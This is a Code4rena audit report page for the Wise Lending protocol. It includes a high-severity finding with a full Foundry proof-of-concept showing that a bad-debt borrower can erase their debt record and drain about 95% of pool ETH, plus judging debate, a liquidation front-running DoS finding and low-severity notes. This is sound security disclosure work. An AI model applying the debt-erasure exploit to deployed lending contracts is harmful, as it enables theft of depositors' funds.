Platform: Code4rena
Start Date: 21/02/2024
Pot Size: $200,000 USDC
Total HM: 22
Participants: 36
Period: 19 days
Judge: Trust
Total Solo HM: 12
Id: 330
League: ETH
Rank: 3/36
Findings: 3
Award: $20,400.36
🌟 Selected for report: 2
🚀 Solo Findings: 1
🌟 Selected for report: Dup1337
18106.5192 USDC - $18,106.52
https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/FeeManager/FeeManager.sol#L816-L866 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/MainHelper.sol#L667-L727
When pool token stops being used in the position, _removePositionData
function is caled. It, however assumes that poolToken that is passed as a parameter, always exist in user token array, which is not always the case. In case of function FeeManager.paybackBadDebtNoReward()
, which indirectly calls _removePositionData
, insufficient validation doesn't check if repay token is in user array, which results in zeroing out information about user debt.
Free elimination of user debt.
First, let's see how MainHelper._removePositionData()
works:
function _removePositionData( uint256 _nftId, address _poolToken, function(uint256) view returns (uint256) _getPositionTokenLength, function(uint256, uint256) view returns (address) _getPositionTokenByIndex, function(uint256, address) internal _deleteLastPositionData, bool isLending ) private { uint256 length = _getPositionTokenLength( _nftId ); if (length == 1) { _deleteLastPositionData( _nftId, _poolToken ); return; } uint8 i; uint256 endPosition = length - 1; while (i < length) { if (i == endPosition) { _deleteLastPositionData( _nftId, _poolToken ); break; } if (_getPositionTokenByIndex(_nftId, i) != _poolToken) { unchecked { ++i; } continue; } address poolToken = _getPositionTokenByIndex( _nftId, endPosition ); isLending == true ? positionLendTokenData[_nftId][i] = poolToken : positionBorrowTokenData[_nftId][i] = poolToken; _deleteLastPositionData( _nftId, _poolToken ); break; } }
So, _poolToken
sent in parameter is not checked if:
_poolToken
or not._poolToken
or not.This function is called in MainHelper._corePayback()
, which in turn is called in FeeManager.paybackBadDebtNoReward() => WiseLending.corePaybackFeeManager() => WiseLending._handlePayback()
. Important factor is that paybackBadDebtNoReward()
doesn't check if position utilizes _paybackToken
passed by the caller and allows to pas any token. The only prerequisite is that badDebtPosition[_nftId]
has to be bigger than 0:
function paybackBadDebtNoReward( uint256 _nftId, address _paybackToken, uint256 _shares ) external returns (uint256 paybackAmount) { updatePositionCurrentBadDebt( _nftId ); if (badDebtPosition[_nftId] == 0) { return 0; } if (WISE_LENDING.getTotalDepositShares(_paybackToken) == 0) { revert PoolNotActive(); } paybackAmount = WISE_LENDING.paybackAmount( _paybackToken, _shares ); WISE_LENDING.corePaybackFeeManager( _paybackToken, _nftId, paybackAmount, _shares ); _updateUserBadDebt( _nftId ); // [...]
With these pieces of information, we can form following attack path:
1a. Prepare big position that will have be destined to have positive badDebt
. For sake of the argument, let's assume it's $1M worth of ETH.
1b. Prepare very small position that will not be incentivized to be liquidated by liquidators, just to achieve non-zero badDebt
. This can be done for example before significant price update transaction from Chainlink. Then take $1M worth of ETH flashloan and put this as collateral to position, borrowing as much as possible.
2. Call FeeManager.paybackBadDebtNoReward()
on the possition with desired position nft id, USDC token address and 0 shares as input params.
3. Because there is non-zero bad debt, the check will pass, and and the logic will finally reach MainHelper._corePayback()
. Because repay is 0 shares, diminishing position size in USDC token will not underflow, and position token will be tried to be removed:
function _corePayback( uint256 _nftId, address _poolToken, uint256 _amount, uint256 _shares ) internal { _updatePoolStorage( _poolToken, _amount, _shares, _increaseTotalPool, _decreasePseudoTotalBorrowAmount, _decreaseTotalBorrowShares ); _decreasePositionMappingValue( userBorrowShares, _nftId, _poolToken, _shares ); if (userBorrowShares[_nftId][_poolToken] > 0) { return; } _removePositionData({ _nftId: _nftId, _poolToken: _poolToken, _getPositionTokenLength: getPositionBorrowTokenLength, _getPositionTokenByIndex: getPositionBorrowTokenByIndex, _deleteLastPositionData: _deleteLastPositionBorrowData, isLending: false });
_removePositionData
, because position length is 1, no check if token address matches will be performed:uint256 length = _getPositionTokenLength( _nftId ); if (length == 1) { _deleteLastPositionData( _nftId, _poolToken ); return; }
Manual Review
Add verification if the token that is passed to _removePositionData()
exists in user tokens. If not, revert the transaction.
Invalid Validation
#0 - GalloDaSballo
2024-03-17T12:02:39Z
This looks off and should have had a coded POC Flagging out of caution
#1 - c4-pre-sort
2024-03-17T12:02:41Z
GalloDaSballo marked the issue as sufficient quality report
#2 - vm06007
2024-03-20T11:30:33Z
This looks off and should have had a coded POC Flagging out of caution
I didn't get what kind of flag got applied and why it says sufficient quality report
even though it clearly does not even has POC and poorly described with false assumptions?
#3 - vonMangoldt
2024-03-20T13:01:23Z
Dbl checking line fo reasoning fails when user deposits large amount and then borrows.
quote: 1a. Prepare big position that will have be destined to have positive badDebt. For sake of the argument, let's assume it's $1M worth of ETH. 1b. Prepare very small position that will not be incentivized to be liquidated by liquidators, just to achieve non-zero badDebt. This can be done for example before significant price update transaction from Chainlink. Then take $1M worth of ETH flashloan and put this as collateral to position, borrowing as much as possible. 2. Call FeeManager.paybackBadDebtNoReward() on the possition with desired position nft id, USDC token address and 0 shares as input params. 3. Because there is non-zero bad debt, the check will pass, and and the logic will finally reach MainHelper._corePayback(). Because repay is 0 shares, diminishing position size in USDC token will not underflow, and position token will be tried to be removed:
Comment: 1a.) Ok say big position has nftId = 1 1b.) oOk say small position has nftId = 2 NftId 2 now takes more collateral and borrows max: then call paybackBadDebtNoReward with nftId 2.
But since collateral has been deposited and borrowed within non liqudiationr ange (healthstate check active remember) This line here:
updatePositionCurrentBadDebt( _nftId );
in the beginning will set badDebtPosition[_nft] to 0 meaning it will exit after this line:
if (badDebtPosition[_nftId] == 0) { return 0; }
and no harm done. On top of that as @vm06007 said no Poc provided so dismissed
#4 - c4-judge
2024-03-26T18:43:05Z
trust1995 marked the issue as unsatisfactory: Insufficient proof
#5 - deliriusz
2024-03-29T08:22:56Z
@trust1995 , I'm sorry that I didn't provide the PoC before. I provide coded PoC now. It shows that user is able to steal whole protocol funds, due to wrong algoritm in _removePositionData()
. I managed to not use very big position and a single token, which makes this issue even easier to perform.
PoC procided below does the following:
_removePositionData()
removes last token in user borrow tokens. In this case that means that the user doesn't have any tokens in his debt tokens listed.// SPDX-License-Identifier: -- WISE -- pragma solidity =0.8.24; import "./WiseLendingBaseDeployment.t.sol"; contract DebtClearTest is BaseDeploymentTest { address borrower = address(uint160(uint(keccak256("alice")))); address lender = address(uint160(uint(keccak256("bob")))); address lender2 = address(uint160(uint(keccak256("bob2")))); uint256 depositAmountETH = 100 ether; // 10 ether uint256 depositAmountToken = 10 ether; // 10 ether uint256 borrowAmount = 5e18; // 5 ether uint256 nftIdLiquidator; // nftId of lender uint256 nftIdLiquidatee; // nftId of borrower uint256 debtShares; function _setupIndividualTest() internal override { _deployNewWiseLending(false); // set token value for simple calculations MOCK_CHAINLINK_2.setValue(1 ether); // 1 token == 1 ETH assertEq(MOCK_CHAINLINK_2.latestAnswer(), MOCK_CHAINLINK_ETH_ETH.latestAnswer()); vm.stopPrank(); // fund lender and borrower vm.deal(lender, depositAmountETH); vm.deal(lender2, depositAmountETH); deal(address(MOCK_WETH), lender, depositAmountETH); deal(address(MOCK_ERC20_2), borrower, depositAmountToken * 2); deal(address(MOCK_ERC20_1), lender, depositAmountToken * 2); } function testRemovingToken() public { IERC20 WETH = IERC20(LENDING_INSTANCE.WETH_ADDRESS()); // lender supplies ETH vm.startPrank(lender); nftIdLiquidator = POSITION_NFTS_INSTANCE.mintPosition(); // deposit 100 ether into the pool LENDING_INSTANCE.depositExactAmountETH{value: depositAmountETH}(nftIdLiquidator); vm.stopPrank(); // prank second provider to make sure that the borrower is able to // steal everyone's funds later vm.startPrank(lender2); uint nftIdfundsProvider = POSITION_NFTS_INSTANCE.mintPosition(); // deposit 100 ether into the pool LENDING_INSTANCE.depositExactAmountETH{value: depositAmountETH}(nftIdfundsProvider); vm.stopPrank(); // borrower supplies collateral token and borrows ETH vm.startPrank(borrower); MOCK_ERC20_2.approve(address(LENDING_INSTANCE), depositAmountToken * 2); nftIdLiquidatee = POSITION_NFTS_INSTANCE.mintPosition(); vm.warp( block.timestamp + 10 days ); LENDING_INSTANCE.depositExactAmount( // supply collateral nftIdLiquidatee, address(MOCK_ERC20_2), 10 ); debtShares = LENDING_INSTANCE.borrowExactAmountETH(nftIdLiquidatee, borrowAmount); // borrow ETH vm.stopPrank(); // shortfall event/crash occurs. This is just one of the possibilities of achieving bad debt // second is maintaining small position that gives no incentive to liquidate it. vm.prank(MOCK_DEPLOYER); MOCK_CHAINLINK_2.setValue(0.3 ether); // borrower gets partially liquidated vm.startPrank(lender); MOCK_WETH.approve(address(LENDING_INSTANCE), depositAmountETH); LENDING_INSTANCE.liquidatePartiallyFromTokens( nftIdLiquidatee, nftIdLiquidator, address(MOCK_WETH), address(MOCK_ERC20_2), debtShares * 2e16 / 1e18 + 1 ); vm.stopPrank(); // global and user bad debt is increased uint256 totalBadDebt = FEE_MANAGER_INSTANCE.totalBadDebtETH(); uint256 userBadDebt = FEE_MANAGER_INSTANCE.badDebtPosition(nftIdLiquidatee); assertGt(totalBadDebt, 0); assertGt(userBadDebt, 0); assertEq(totalBadDebt, userBadDebt); // user bad debt and global bad debt are the same vm.startPrank(lender); MOCK_ERC20_1.approve(address(LENDING_INSTANCE), type(uint256).max); MOCK_ERC20_1.approve(address(FEE_MANAGER_INSTANCE), type(uint256).max); MOCK_WETH.approve(address(FEE_MANAGER_INSTANCE), type(uint256).max); // check how much tokens the position that will be liquidated has uint256 lb = LENDING_INSTANCE.getPositionBorrowTokenLength( nftIdLiquidatee ); assertEq(lb, 1); uint256 ethValueBefore = SECURITY_INSTANCE.getETHBorrow( nftIdLiquidatee, address(MOCK_ERC20_2) ); console.log("ethBefore ", ethValueBefore); // **IMPORTANT** this is the core of the issue // When bad debt occurs, there are 2 critical checks missing: // 1. that the amount to repay is bigger than 0 // 2. that the token to repay bad debt has the bad debt for user // This allows to remove any token from the list of user borrow tokens, // because of how finding token to remove algorithm is implemented: // it iterates over all the tokens and if it doesn't find matching one // until it reaches last, it wrongly assumes that the last token is the // one that should be removed. // And not checking for amount of repayment allows to skip Solidity underflow // checks on diminishing user bad debt. FEE_MANAGER_INSTANCE.paybackBadDebtNoReward( nftIdLiquidatee, address(MOCK_ERC20_1), // user doesn't have debt in this token 0 ); uint256 ethValueAfter = SECURITY_INSTANCE.getETHBorrow( nftIdLiquidatee, address(MOCK_ERC20_2) ); uint256 ethWethValueAfter = SECURITY_INSTANCE.getETHBorrow( nftIdLiquidatee, address(WETH) ); console.log("ethAfter ", ethValueAfter); // assert that the paybackBadDebtNoReward removed token that it shouldn't uint256 la = LENDING_INSTANCE.getPositionBorrowTokenLength( nftIdLiquidatee ); assertEq(la, 0); vm.stopPrank(); uint lendingWethBalance = WETH.balanceOf(address(LENDING_INSTANCE)); console.log("lb ", lendingWethBalance); console.log("bb ", borrower.balance); vm.startPrank(borrower); // borrow 95% of ALL ETH that the protocol possesses // this works, because when calculating health check of a position // it iterates through `getPositionBorrowTokenLength()` - and we // were able to remove it. debtShares = LENDING_INSTANCE.borrowExactAmountETH(nftIdLiquidatee, WETH.balanceOf(address(LENDING_INSTANCE)) * 95 / 100); // borrow ETH console.log("lb ", WETH.balanceOf(address(LENDING_INSTANCE))); console.log("ba ", borrower.balance); // make sure that borrow tokens were not increased uint256 la2 = LENDING_INSTANCE.getPositionBorrowTokenLength( nftIdLiquidatee ); assertEq(la2, 0); // verify that ~95% were taken from the pool and borrower received them assertLt(WETH.balanceOf(address(LENDING_INSTANCE)), lendingWethBalance * 6 / 100); assertGt(borrower.balance, lendingWethBalance * 94 / 100); uint256 ethValueAfter2 = SECURITY_INSTANCE.getETHBorrow( nftIdLiquidatee, address(MOCK_ERC20_2) ); console.log("ethAfter2 ", ethValueAfter2); vm.stopPrank(); // borrowing doesn't increase user borrow assertEq(ethValueAfter, ethValueAfter2); } }
At the end of the test, it's verified that user is in possession of ~95% of the ETH that was initially deposited to the pool.
#6 - trust1995
2024-03-29T11:16:13Z
Confirmed the test passes.
[PASS] testRemovingToken() (gas: 2242360) Logs: ORACLE_HUB_INSTANCE DEPLOYED AT ADDRESS 0x6D93d20285c95BbfA3555c00f5206CDc1D78a239 POSITION_NFTS_INSTANCE DEPLOYED AT ADDRESS 0x1b5a405a4B1852aA6F7F65628562Ab9af7e2e2e9 LATEST RESPONSE 1000000000000000000 ethBefore 300000000000000000 ethAfter 300000000000000000 lb 195100000000000000001 bb 5000000000000000000 lb 9755000000000000001 ba 190345000000000000000 ethAfter2 300000000000000000
The likelihood / impact are in line with high severity. A POC was not initially provided, but the step by step given is deemed sufficient.
#7 - c4-judge
2024-03-29T11:16:18Z
trust1995 marked the issue as satisfactory
#8 - c4-judge
2024-03-29T11:16:21Z
trust1995 marked the issue as selected for report
#9 - vm06007
2024-03-29T14:18:16Z
@Foon256 or @vonMangoldt can check this again I think, I'll check what kind of code change we need to add in order to prevent this scenario.
#10 - Foon256
2024-04-01T13:44:01Z
The POC is correct but different from the previous presented attack, which was not possible as @vonMangoldt has shown. I don't know about the rules in this case, because the POC has been submitted long after the deadline and is a different attack than submitted before.
#11 - trust1995
2024-04-01T17:29:58Z
#12 - GalloDaSballo
2024-04-15T12:57:12Z
Due to an incorrect logic, it is possible for a user to have all of their debt forgiven by repaying another bad debt position with a non-existing token
This issue should’ve been accompanied with a POC, then there would be no disambiguity over its validity and severity.
I agree with the judge’s assessment. The warden correctly identified the root cause of lacking input validation of _poolToken, which allows _removePositionData to incorrectly remove borrowed positions, thus erasing that user’s debt.
The severity of this alone is high, as it effectively allows the user to forgo repaying his debt.
I disagree with the statement that the POC is different from the previous presented attack. It is roughly the same as the presented step-by-step walkthrough, with amplified impact: the user is able to borrow more tokens for free subsequently, without having to repay.
Disregarding the POC that was submitted after the contest, IMO, the line-by-line walkthrough sufficiently proved the issue.
Facts:
This asserts that the attack cannot be done atomically, that's true 6) The original submission explains that, due to generating bad debt
I believe that the finding has shown a way for bad debt to be forgiven, and that the race condition around "proper" vs "malicious" liquidators is not a major decision factor
I would like to add that the original submission is passable but should have done a better job at: Using only necessary snippets, with comments and tags, Explain each logical step more simply (A calls B, B is pointer to C, C is doing X)
I believe the Root cause and the attack was shown in the original submission and as such believe the finding to be valid and high severity
I think this one should be held as invalid due to this ruling: https://docs.code4rena.com/awarding/judging-criteria/supreme-court-decisions-fall-2023#verdict-standardization-of-additional-warden-output-during-qa Decisions from the inaugural Supreme Court session, Fall 2023 | Cod... As far as I can see, the swaying information was the POC added after the submission deadline. It doesn't matter if the issue was technically correct. The quality was not high enough to lead the judge to mark it as satisfactory without the additional information. @Alex The Entreprenerd thoughts?
Alex: I don't think the POC added any additional info that was not present in the original submission
Invalid token causes default pop of real token
That was identified in the original submission
I think the dispute by the sponsor was incorrect as asserting that this cannot be done atomically doesn't justify the bug of mismatch address causing defaults being forgiven
I think the POC added context over content
Dan: Apologies guys... didn't read it carefully enough on the first pass. I've re-evaluated and while I don't like the quality of the original submission and would probably have invalidated it myself, I'm willing to align with the two of you and leave it as high risk. The attack is valid and the nuance is in interpreting rules, not validity.
Alex asked: For issue 215: I'd like to ask you what you think was invalid about the first submission and what's specifically makes the original submission different from the POC sent after?
We understand that the quality of the original submission is sub optimal
Sponsor replied: Dbl checking line fo reasoning fails when user deposits large amount and then borrows.
1a. Prepare big position that will have be destined to have positive badDebt. For sake of the argument, let's assume it's $1M worth of ETH. 1b. Prepare very small position that will not be incentivized to be liquidated by liquidators, just to achieve non-zero badDebt. This can be done for example before significant price update transaction from Chainlink. Then take $1M worth of ETH flashloan and put this as collateral to position, borrowing as much as possible. Call FeeManager.paybackBadDebtNoReward() on the possition with desired position nft id, USDC token address and 0 shares as input params. Because there is non-zero bad debt, the check will pass, and and the logic will finally reach MainHelper._corePayback(). Because repay is 0 shares, diminishing position size in USDC token will not underflow, and position token will be tried to be removed:
Comment: 1a.) Ok say big position has nftId = 1 1b.) Ok say small position has nftId = 2 NftId 2 now takes more collateral and borrows max: then call paybackBadDebtNoReward with nftId 2.
But since collateral has been deposited and borrowed within non liqudiationr ange (healthstate check active remember) This line here:
updatePositionCurrentBadDebt( _nftId ); in the beginning will set badDebtPosition[_nft] to 0 meaning it will exit after this line:
if (badDebtPosition[_nftId] == 0) { return 0; } and no harm done. Alex: This makes sense as there is no way to attack the protocol in the same tx However, if the price where to fall, then wouldn't the attacker be able to apply the attack mentioned in the original submission?
Sponsor: they will be liquidated beforehand. Thats why the submittor mentioned it is necessary to create a position which is small hence no incentivize to liquidate. Again the way described by submittor does not work as pointed out in github and here again
Alex: My understanding of the issue is that by specifying a non-existing token for liquidation, the first token is popped without paying for the position debt
Am I missing something about this?
Sponsor 1: not for liquidation for payingback edit: paybackBadDebtNoReward only works for positions with bad debt but bad debt usually accrues with debt and no collateral only time it doesnt if collateral is so small gas is more expensive than to liquidate beforehand while price from collateral is falling
Sponsor 2: for payingback bad debt positions with paybackBadDebtNoReward() We added this feature to be able to remove bad debt from the protocol. User can do it and get a little incentive with paybackBadDebtForToken() or a generous donor/ the team can pay it back for free with paybackBadDebtNoReward() paybackBadDebtForToken() is only possible if there is some collateral left in the bad debt position nft.
Sponsor 1: the for free part is technically not needed anymore anyway since we opend paying back for everyone
Alex: Ok, and what do you think changed from the original submission and the POC that makes the finding different?
Sponsor 1: you mean the PoC after deadline which is therfor not counted? He just manipulates price so that no one has the chance to liquidate Sponsor 1 continuation: If we look at the point from the poc provided AFTER deadline (invalid therfor anyway) then we conclude its an expectedValue question. Attacker either donates liquidation incentives to liquidators and therfor loses money (10%) Or gains money if hes lucky that he doesnt get liquidated within a 10-20% price difference and gets to call the other function first. So if you think as an attacker the probability that eth e.g drops 20% in one chainlink update ( afaik never happend before) or that during a 20% drawdown liquidators dont get put into a block and this likelyhood is bigger than 5% OVERALL then you would make money. The chance of liquidators not picking up free money i would say is more in the low 0.001% estimation rather than 5%.
So on average its highly minus -ev to do that
Alex: Good points, thank you for your thoughts!
What are your considerations about the fact that the attacker could just participate in the MEV race, allowing themselves to either front-run or be the first to self-liquidate as a means to enact the attack?
Shouldn't the system ideally prevent this scenario from ever being possible?
Sponsor 3: I'll let my devs comment on your question about the attacker participating as a liquidator, but as far as the last part about "shouldn't the system prevent"
I do not believe our position on this finding is that it's objectively invalid. In fact I'm sure we have already patched it for our live code which is already deployed on Arbitrum. Our position is that, per the C4 rules the submission is invalid for this specific competitive audit Feb 19th - March 11th and should not be listed in the findings or receive rewards, as it would be unfair to take away money from the other wardens who did submit findings in the time frame given. That being said, we are willing to accept it as a medium finding as a compromise. Sponsor 1: youre welcome . The attack does not start with liquidating it is stopped by liquidating (including if the attacker liquidates) (if its in time relating to liquidation incentive vs distance between collateral in debt in percentage)
thats why in a poc you need to manipualte price instantly a great deal without being liquidated (doesnt matter by whom)
We believe that the dispute from the Sponsor comes from a misunderstanding of the submission which ultimately shows an incorrect logic when dealing with liquidations
While the specifics of the submission leave a lot to be desired, the original submission did identify the root cause, this root cause can be weaponized in a myriad of ways, and ultimately gives the chance to an underwater borrower to get a long forgiven
For this reason we believe the finding to be a High Severity finding
We can all agree that a POC of higher quality should have been sent, that said our objective at C4 is to prevent real exploits, over a sufficiently long span of time, dismissing barely passable findings would cause more exploits, which will cause real damage to Projects and People using them as well as taint the reputation of C4 as a place where “No stone is left unturned”
I would recommend the staff to look into ways to penalize these types of findings (for example give a bonus to the judge as an extensive amount of time was necessary to prove this finding)
But I fail to see how dismissing this report due to a lack of POC would help the Sponsor, and Code4rena over the long term
#13 - thebrittfactor
2024-04-29T14:25:51Z
For transparency and per conversation with the sponsors, see here for the Wise Lending team's mitigation.
1128.1754 USDC - $1,128.18
https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/WiseSecurity/WiseSecurityHelper.sol#L876-L900 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/WiseLending.sol#L1250-L1309
The WiseSecurity.sol
has a glitch in the checksLiquidation
and checkMaxShares
functions, where a user can prevent liquidation by front-running the liquidator. This is achieved by topping up their position with a minimal amount (e.g., 1 share) just before the liquidation transaction is processed. This method exploits the liquidation logic that determines the maximum shares a liquidator can acquire based on the current debt and collateral level. If the liquidator attempts to liquidate the maximum possible value to drive the price to healthly state or up to 50% for liquidations that don't have enough bad debt, the user can make a small top-up to their position, causing the liquidator's transaction to revert due to the TooManyShares
error. Moreover, on Layer 2 networks where transaction costs are relatively low, users can repeatedly exploit this vulnerability with minimal expense, further driving their positions into bad debt.
Unhealthly positions can delay being liquidated by making minimal top-ups to their accounts.
checkMaxShares
function.function checkMaxShares( uint256 _nftId, address _tokenToPayback, uint256 _borrowETHTotal, uint256 _unweightedCollateralETH, uint256 _shareAmountToPay ) public view { uint256 totalSharesUser = WISE_LENDING.getPositionBorrowShares( _nftId, _tokenToPayback ); uint256 maxShares = checkBadDebtThreshold(_borrowETHTotal, _unweightedCollateralETH) ? totalSharesUser : totalSharesUser * MAX_LIQUIDATION_50 / PRECISION_FACTOR_E18; if (_shareAmountToPay <= maxShares) { return; } revert TooManyShares(); }
TooManyShares
error, preventing the liquidation.The user can pay back any amount of shares, as low as 1, because there is no check for min value:
function manuallyPaybackShares( uint256 _keyId, uint256 _paybackShares ) external updatePools { _manuallyPaybackShares( farmingKeys[_keyId], _paybackShares ); emit ManualPaybackShares( _keyId, farmingKeys[_keyId], _paybackShares, block.timestamp ); }
function paybackExactAmount( uint256 _nftId, address _poolToken, uint256 _amount ) external syncPool(_poolToken) returns (uint256) { uint256 paybackShares = calculateBorrowShares( { _poolToken: _poolToken, _amount: _amount, _maxSharePrice: false } ); _validateNonZero( paybackShares ); _handlePayback( msg.sender, _nftId, _poolToken, _amount, paybackShares ); // [...]
Manual Review
Require minimum amount of repayment from user as with deposits, for example min(userDebtInUSD, WISE_SECURITY.checkPoolWithMinDeposit(...))
. This will be more costly for the user and will limit the possible duration of bad debt attack.
DoS
#0 - c4-pre-sort
2024-03-18T16:32:18Z
GalloDaSballo marked the issue as duplicate of #237
#1 - c4-pre-sort
2024-03-18T16:32:39Z
GalloDaSballo marked the issue as insufficient quality report
#2 - c4-judge
2024-03-26T19:04:46Z
trust1995 marked the issue as partial-50
#3 - c4-judge
2024-03-26T19:05:18Z
trust1995 marked the issue as full credit
#4 - c4-judge
2024-03-26T19:13:01Z
trust1995 marked the issue as satisfactory
🌟 Selected for report: Dup1337
Also found by: 0x11singh99, NentoR, cheatc0d3, nonseodion, serial-coder, shealtielanz
1165.6575 USDC - $1,165.66
Issues | |
---|---|
[L-01] | Wrong fee amount check doesn't protect against extensive fees |
[L-02] | Allowed spread check allows for smaller spread than expected |
[L-03] | No validation of token being removed has shares |
[L-04] | Opening nonleveraged position in pendle power farm is impossible |
[L-05] | Adding too much Pendle markets DoSes Pendle Power Farm |
[L-06] | Borrow APY calculations don't account for utilization rate |
[L-07] | Possible DoSing of Pendle farm via overflow |
[NC-01] | exitFarm doesn´t default the isAave flag |
Function PendlePowerFarmToken.depositExactAmount()
checks if position mint fee is not too big by reverting with TooMuchFee()
error, if reducedShares == feeShares
evaluates to true. This check is not sufficient, because if feeShares
are bigger than reducedShares
, the condiiton will succeed. Hence, the protection is not sufficient to protect against too big fee.
PendlePowerFarmToken.sol function depositExactAmount( //[...] uint256 reducedShares = _applyMintFee( shares ); uint256 feeShares = shares - reducedShares; if (feeShares == 0) { revert ZeroFee(); } if (reducedShares == feeShares) { // @audit it doesn't concern case when feeShares > reducedShares revert TooMuchFee(); }
The check should be changed to if (reducedShares <= feeShares)
.
Allowed spread check allows for smaller spread than expected, because spread percentage is calculated from value after swaps, not before.
uint256 ethValueBefore = _getTokensInETH( ENTRY_ASSET, _depositAmount ); ( uint256 receivedShares , ) = IPendleChild(PENDLE_CHILD).depositExactAmount( netLpOut ); uint256 ethValueAfter = _getTokensInETH( PENDLE_CHILD, receivedShares ) * _allowedSpread // @audit spread is calculated from diminished value / PRECISION_FACTOR_E18; if (ethValueAfter < ethValueBefore) { revert TooMuchValueLost(); }
So, the check is actually if value ETH after * _allowedSpread >= deposit ETH value
. However, the calculation checks if the spread is actually lower than set by user, because the slippage is applied to already diminished value. For example, let's say that user passes the following:
depositAmount = 100 allowedSlippage = 105e16 (5%)
So slippage down to 95
should be accepted. However, due to the flipped calculations, the slippage check would look like 95 * 105% < 100 => 99.75 < 100
and would revert, even though it should be accepted.
The manual remove function doesnt validate whether the pool being removed has shares. It can be organicly have shares during the removal either by TX order or already the share is there;
Contract: FeeManager.sol 438: function removePoolTokenManual( 439: address _poolToken 440: ) 441: external 442: onlyMaster 443: { 444: uint256 i; 445: uint256 len = getPoolTokenAddressesLength(); 446: uint256 lastEntry = len - 1; 447: bool found; 448: 449: if (poolTokenAdded[_poolToken] == false) { 450: revert PoolNotPresent(); 451: } 452: 453: while (i < len) { 454: 455: if (_poolToken != poolTokenAddresses[i]) { 456: 457: unchecked { 458: ++i; 459: } 460: 461: continue; 462: } 463: 464: found = true; 465: 466: if (i != lastEntry) { 467: poolTokenAddresses[i] = poolTokenAddresses[lastEntry]; 468: } 469: 470: break; 471: } 472: 473: if (found == true) { 474: 475: poolTokenAddresses.pop(); 476: poolTokenAdded[_poolToken] = false; 477: 478: emit PoolTokenRemoved( 479: _poolToken, 480: block.timestamp 481: ); 482: 483: return; 484: } 485: 486: revert PoolNotPresent(); 487: }
If user wants to have <100% exposure it will revert, in case if 1x leverage flash will be 0 and balancer will revert too
Contract: PendlePowerFarm.sol 185: function _openPosition( 186: bool _isAave, 187: uint256 _nftId, 188: uint256 _initialAmount, 189: uint256 _leverage, 190: uint256 _allowedSpread 191: ) 192: internal 193: { 194: if (_leverage > MAX_LEVERAGE) { 195: revert LeverageTooHigh(); 196: } 197: 198: uint256 leveragedAmount = getLeverageAmount( 199: _initialAmount, 200: _leverage 201: ); 202: 203: if (_notBelowMinDepositAmount(leveragedAmount) == false) { 204: revert AmountTooSmall(); 205: } 206: 207: _executeBalancerFlashLoan( 208: { 209: _nftId: _nftId, 210: _flashAmount: leveragedAmount - _initialAmount, // @audit if user wants to have <100% exposure it will revert, in case if 1x leverage flash will be 0 and balancer will revert too 211: _initialAmount: _initialAmount, 212: _lendingShares: 0, 213: _borrowShares: 0, 214: _allowedSpread: _allowedSpread, 215: _ethBack: false, 216: _isAave: _isAave 217: } 218: ); 219: } 220:
There is no constraint on how many pendle markets can be added:
function addPendleMarket( address _pendleMarket, string memory _tokenName, string memory _symbolName, uint16 _maxCardinality ) external onlyMaster { // [...] activePendleMarkets.push( _pendleMarket ); // [...]
Adding too much doses syncing supply:
function syncAllSupply() public { uint256 i; uint256 length = activePendleMarkets.length; while (i < length) { _syncSupply( activePendleMarkets[i] ); unchecked { ++i; } } }
There are 2 functions calculating APY - one calculates borrow APY, one lending APY. So, generally both should yield similar results, that is lending APY - protocol fees ~= borowing APY
. However lending APY includes utilization rate of the pool and APY is adjusted over it, while borrowing APY doesn't account for it, leading to borrowing APY assuming utilization rate is always 100%
function overallLendingAPY( uint256 _nftId ) external view returns (uint256) { weightedRate += ethValue * getLendingRate(token); overallETH += ethValue; unchecked { ++i; } } return weightedRate / overallETH;
and lendingRate() function:
getLendingRate( address _poolToken ) public view returns (uint256) { uint256 pseudoTotalPool = WISE_LENDING.getPseudoTotalPool( _poolToken ); if (pseudoTotalPool == 0) { return 0; } uint256 adjustedRate = getBorrowRate(_poolToken) * (PRECISION_FACTOR_E18 - WISE_LENDING.globalPoolData(_poolToken).poolFee) / PRECISION_FACTOR_E18; return adjustedRate // @audit pool utilization rate is taken into account * WISE_LENDING.getPseudoTotalBorrowAmount(_poolToken) / pseudoTotalPool; }
in comparison, borrow APY is calculated as follows:
function overallBorrowAPY( uint256 _nftId ) external view returns (uint256) { // [...] weightedRate += ethValue * getBorrowRate(token); // @audit borrow rate is WISE_LENDING.borrowPoolData(_poolToken).borrowRate storage variable overallETH += ethValue; unchecked { ++i; } } return weightedRate / overallETH; }
So borrow APY doesn't account for utilization rate as lending APY. So it shows that you'll have to pay high fees for borrowing, and you'll get proportionally less for providing value to the protocol.
There is actually yet another function, combining the two above - overallNetAPY()
, which calculates both lending and borrowing APY, and returns the value combined.
Both functions are not used by the protocol, but it might false information to either offchain clients or external protocols integrating with WiseLending.
Additional thing to consider is that Pendle markets can be only added, there is no function to remove them.
there are 3 multiplications of big numbers before first division in PendleChildLpOracle
:
function latestAnswer() public view returns (uint256) { return priceFeedPendleLpOracle.latestAnswer() * pendleChildToken.totalLpAssets() * PRECISION_FACTOR_E18 / pendleChildToken.totalSupply() / PRECISION_FACTOR_E18; }
When I put some numbers, we still have a space to grow:
> 2**256 / (1e18*1000000e18*1e18) 115792089237316180
But either way, the protocol still can use MathLib.MulDiv that handles intermediate overflow gracefully in case of black swan events.
exitFarm
doesn´t default the isAave
flagWhen the exitFarm
is called,
The Power Farm NFT is burned,
Reserved keys are reset,
And available NFT mapping is reserved for the burned one.
But, it doesnt' revert the isAave
mapping to false
